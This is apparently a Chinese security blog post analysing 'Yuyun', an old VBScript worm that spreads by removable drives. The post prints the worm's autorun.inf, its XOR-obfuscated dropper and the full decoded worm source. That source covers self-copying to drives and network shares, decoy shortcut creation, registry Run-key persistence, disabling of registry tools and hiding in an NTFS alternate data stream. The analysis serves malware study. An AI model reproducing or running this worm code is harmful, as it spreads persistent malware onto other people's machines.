Yuyun脚本蠕虫分析

背景

捕获到一个纯vbs脚本病毒

样本截图

包含一个autorun.inf文件和一个Thumb.db文件,两个文件均为隐藏的受保护的操作系统文件(只读)。

autorun.inf MD5:080d8ef2430b49f991b460abf4af5156

Thumb.db MD5:0a456ffff1d3fd522457c187ebcf41e4

autorun.inf

autorun.inf常见于可移动介质传播蠕虫病毒,其作用是允许在双击磁盘时自动运行指定的某个文件。

注:在2011年2月8日发布的安全公告KB967940中,微软对Windows自动运行功能进行了最新升级,限定Windows XP、Windows Server 2003、Vista(Vista是到Win7的一个过渡系统)和Windows Server 2008平台上的自动运行功能仅支持CD和DVD媒体。当用户使用包含autorun.inf文件的USB设备、网络共享或其它非CD/DVD媒体时,系统不会执行自动运行。

autorun.inf 内容如下:

1
2
3
4
5
6
7
[autorun]
open=WScript.exe //e:VBScript thumb.db auto
shell\open=Open
shell\open\Command=WScript.exe //e:VBScript thumb.db auto
shell\open\Default=1
shell\explore=Explore
shell\explore\Command=WScript.exe //e:VBScript thumb.db auto

即自动调用WScript.exe以VBS脚本来执行thumb.db文件,执行参数为auto

由此可见,该样本应该属于蠕虫病毒,并且较老,传播能力一般

Thumb.db

thumb.db为vbs脚本病毒,主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
'www.muslimah.or.id;==================================== my name:Yuyun 1.0

' ============================
On Error Resume Next
Dim fso, ws
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Q=WScript.ScriptFullName '运行的脚本文件的完全路径
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName '返回随机生成的临时文件或文件夹的名称
tmpt=tmp+"\"+tn '临时文件绝对路径
Set swt=WScript.Arguments '参数集合
If swt.Count>0 Then
status=swt(0)
If status="auto" Then
sh.Explore Left(WScript.ScriptFullName,3) '参数是auto返回脚本文件所在盘符,如C:/
Else
status=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))+status '否则以参数为文件夹名
If fso.FolderExists(status) Then '存在打开文件夹
sh.Explore status
Else
fso.CreateFolder status '不存在,创建打开文件夹
sh.Explore status
End If
End If
Else
End If
Set QQ=fso.GetFile(Q)
Set Q1=QQ.OpenAsTextStream(1,0) '打开脚本文件,返回一个TextStream对象
isiQ=Q1.Read(QQ.Size)
Q1.close
t1=InStr(1,isiQ,"Yuyun^_^~!~2008"+" >>>",0)+18 '在运行的脚本文件中查询指定字符串
isiQ=Right(isiQ,Len(isiQ)-t1) '返回Yuyun^_^~!~2008 >>>后的字符串
hsl=""
For v=1 To Len(isiQ) '解码得到的字符串
t=Asc(Mid(isiQ,v,1))
hsl=hsl+Chr(t Xor 7)
Next
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
Set temporary=fso.OpenTextFile(tmpt,2,True,0) '打开生成的临时文件
temporary.Write hsl '写入解码得到的字符串
temporary.Close
ws.Run "WScript.exe //e:VBScript "+tmpt+" """+Q+"""" '以VBScrip执行生成的tmp文件

' Yuyun^_^~!~2008 >>> :::::::::::::::::::::::::::::::::::::::::::::::::::::::

'J~'ifjb'='^r~ri'Qbu'6)7

'N'mrts'pfiif'tbb'bqbu~'`nuk'khhlt'indb+'ebssbu+'lnict'btwbdnfkk~'f'jhtkbj'`nuk

'e~='Fihi~jhrtb'ni'Mfsnj+'Ihqbjebu'577?

'Pobi'N'ahric'ihsoni`'ebfrs~'bktb)))'fic'sobi'N'puhsb'sont'tdunws'ahu'fkk

:::::::::::::::::::::::::::::::::::::::::::::::::::::::
(以下省略)

可以看出代码的主要功能是,解码、释放并执行包含的经过混淆的vbs脚本文件

生成的vbs文件,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
'=======================================================
' My name : Yuyun Ver 1.0
' I just wanna see every girl looks nice, better, kinds especially a moslem girl
' by: Anonymouse in Jatim, November 2008
' When I found nothing beauty else... and then I wrote this script for all
'=======================================================
On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments") '我的文档文件夹

Set swt=WScript.Arguments
If swt.Count>0 Then '存在参数,将参数赋值给status
status=swt(0)
End If
if fso.fileexists(tmp+"\Yuyun.Q") then
set ira=fso.getfile(tmp+"\Yuyun.Q")
ira.attributes=0
ira.name="shalihah.ira"
if ira.name="shalihah.ira" then
ira.name="Yuyun.Q"
set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
else
fly=true
end if
else
set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
end if
Set AQ=fso.GetFile(status) '获取参数脚本文件
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True '复制参数脚本文件到临时文件
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39 '39=32+4+2+1,即存档文件+系统文件+隐藏文件+只读文件
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv '复制重命名为auto.exe
Set auto=fso.GetFile(anv)
auto.attributes=0

Set aut=fso.OpenTextFile(anv,2,True,0) '以Text打开auto.exe
isi="[autorun]>open=WScript.exe //e:VBScript thumb.db auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript thumb.db auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript thumb.db auto"
isi=Replace(isi,">",vbCrLf) '>替换为回车
aut.Write isi '写入auto.exe
aut.Close
auto.Attributes=39

ltkc=sh.Namespace(&H1c&).Self.path + "\Microsoft\CD Burning"
AQ.Copy ltkc+"\thumb.db",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\database.mdb") Then fso.GetFile(docx+"\database.mdb").Attributes=0
AQ.Copy docx+"\database.mdb",True '原脚本文件复制到我的文档目录下,命名为database.mdb
regQ '修改注册表
Set rara=UNISKA
Hertz False
If Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3 '判断时间是不是3日

call attack_net
Hertz True

Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").SubFolders
rekursif fldr1.Path, dp-1
Next
End If
End Sub

Sub dropf(path)
On Error Resume Next
if day(now)=1 and (month(now)mod 3)=1 then
rara.copy path+"\Baca AQ.rtf"
rara.copy path+"\My name is Yuyun.rtf"
end if

g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If fso.FileExists(g1) Then
Set g11=fso.GetFile(g1)
If g11.Attributes<>39 Then
g11.Attributes=0
auto.Copy path+"\autorun.inf",True
end if
else
auto.Copy path+"\autorun.inf",True
end if


If fso.FileExists(g2) Then
Set g12=fso.GetFile(g2)
If g12.Attributes<>39 Then
g12.Attributes=0
AQ.Copy path+"\Thumb.db",True
end if
else
AQ.Copy path+"\Thumb.db",True
End If

If Not fso.FileExists(path+"\Microsoft.lnk") Then '我的文档文件夹是否存在Microsoft.lnk
shorZvnita path+"\Microsoft","Microsoft"
drop=Array("New Harry Potter and...","New Folder","SuratQ","Rahasia","Game","Zvnita","Download","DataQ","DataQ") '创建超链接文件
ww=1
For Each d In drop
If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
wscript.sleep 60
ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").SubFolders '我的文档文件夹
shorZvnita path+"\"+fldr.name,fldr.Name
wscript.sleep 60
If r>3 Then
Exit For
End if
r=r+1
Next
End If
End Sub

Sub shorZvnita(path,trgt) '创建超链接文件
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript thumb.db """+trgt+""""
shor.save
End Sub

function attack_net()
On Error Resume Next
err.clear
Set objFolder = sh.Namespace(&H13&) 'network shortcuts网络位置
Set colItems = objFolder.Items
For Each strFileName in objFolder.Items '遍历网络位置
t= objFolder.GetDetailsOf(strFileName, 14)
if fso.folderexists(t) then '感染
rekursif t,4
end if
Next
End function

Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub

function UNISKA() '写v.doc
On error resume next
x=vbcrlf
adv="Yuyun Ver 1.0 ^_^!==================>>Bukan dari tulang ubun ia dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak juga dari tulang kaki>karna nista membuatnya diinjak dan diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar Bidadari Cemburu Padamu)>>>""Janganlah kamu bersikap lemah, dan janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang yang paling tinggi (derajatnya), jika kamu orang-orang yang beriman."">(QS. Ali Imran:139)>>>Katakanlah kepada orang laki-laki yang beriman: ""Hendaklah mereka menahan pandanganya, >dan memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka, >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat."" (QS. An Nur:30)>>Katakanlah kepada wanita yang beriman: ""Hendaklah mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya. Dan hendaklah mereka menutupkan kain kudung >kedadanya...."" (QS. An Nur:30)>>Sorry I just Nitip Print thok....Ndak pa2 khan^_^! www.muslimah.or.id >>Hai anak Adam, sesungguhnya Kami telah menurunkan kepadamu >pakaian untuk menutup auratmu dan pakaian indah untuk perhiasan.>Dan pakaian takwa itulah yang paling baik. Yang demikian itu adalah >sebahagian dari tanda-tanda kekuasaan Allah, mudah-mudahan mereka selalu ingat.(Al-A'raf:26)"

adv=replace(adv,">",x)
set Yu2n=fso.opentextfile(tmp+"\v.doc",2,true)
Yu2n.write adv
Yu2n.close
if day(now)=1 and (month(now)mod 3)=1 then
if fly=false then
for i=1 to 3
ws.run "notepad.exe /p """+tmp+"\v.doc"""
next
end if
end if
set UNISKA=fso.getfile(tmp+"\v.doc")
end function

Sub regQ() '修改注册表,设置桌面快捷方式、实现自启动
On Error Resume Next
if day(now)=1 then '每月一日
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "Yuyun_Cantix"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\",""
end if
ws.regdelete "HKCR\lnkfile\IsShortcut"
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe //e:VBScript """+docx+"\database.mdb"""
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools",1,"REG_DWORD"
if lcase(fso.getdrive("c:").FileSystem)="ntfs" then
iraQ=AQ.openastextstream(1,0).read(AQ.size)
www=fso.GetSpecialFolder(0)
set jjk=fso.opentextfile(www+"\:Microsoft Office Update for Windows XP.sys",2,true)
jjk.write iraQ
jjk.close
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","Wscript.exe //e:VBScript """+www+"\:Microsoft Office Update for Windows XP.sys""" '自启动
end if
End Sub

Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives '遍历驱动器
If drv.DriveType=1 Then '可移动驱动器
rekursif drv.Path,4
Else '其他驱动器
rekursif drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub

主要函数功能如下:

Sub rekursif(path,dp) 负责递归目录,path是目录路径,dp是递归目录层数

Sub dropf(path) 负责复制传播的函数,主要就是复制autorun.inf、Thumb.db到目录下

Sub shorZvnita(path,trgt) 创建包含指定命令的超链接文件

function attack_net() 负责网络位置传播,即局域网内传播

Sub tdr() 负责错误检查

function UNISKA() 写入v.doc文件,包含指定内容,内容无实质意义

Sub regQ() 注册表操作,包括创建桌面快捷方式、开机自启动

Sub Hertz(ooo) 遍历驱动器,在本地和可移动介质目录进行复制传播

总结

样本主要功能为:修改注册表,大量创建包含指定命令的超链接文件,复制病毒到主机文件夹目录下,并通过可移动介质盘和网络位置进行传播。总之,危害不大,传播性不强。但是这是第一次见到的纯vbs脚本病毒,以前遇见的vbs多作为中间衍生物或者下载器。


Yuyun脚本蠕虫分析
http://wangchenchina.github.io/2022/06/14/Yuyun脚本蠕虫分析/
作者
Demo
发布于
2022年6月14日
许可协议